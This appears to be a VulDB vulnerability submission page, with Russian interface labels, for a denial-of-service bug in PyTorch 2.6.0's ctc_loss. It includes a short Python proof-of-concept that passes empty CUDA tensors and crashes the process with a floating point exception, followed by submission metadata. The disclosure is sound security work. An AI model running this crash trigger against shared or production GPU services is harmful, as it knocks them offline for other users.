Отправить #553645: pytorch pytorch (in torch.nn.functional.ctc_loss) 2.6.0 Denial of Service

When calling `ctc_loss` with empty tensors on CUDA (device="cuda"), a `Floating point exception` occurs. This does not happen on CPU, where a proper error is raised. This bug can be exploited for a denial-of-service attack.

# To reproduce
```
import torch
import torch.nn.functional as F
device = "cuda" # "cpu" is fine
num_classes = 4
log_probs = torch.rand(0, 0, num_classes, device=device)
targets = torch.tensor([], device=device, dtype=torch.long)
input_lengths = torch.tensor([], device=device, dtype=torch.long)
target_lengths = torch.tensor([], device=device, dtype=torch.long)
result = F.ctc_loss(log_probs, targets, input_lengths, target_lengths, reduction='none')
```

# Output
```
Floating point exception (core dumped)
```

• Источник: ⚠️ https://github.com/pytorch/pytorch/issues/150835
• Пользователь: Default436352 (UID 81891)
• Представление: 08.04.2025 17:12 (12 месяцы назад)
• Модерация: 16.04.2025 15:41 (8 days later)
• Статус: принято
• Запись VulDB: 305076 [PyTorch 2.6.0 LossCTC.cpp torch.nn.functional.ctc_loss отказ в обслуживании]
• Баллы: 20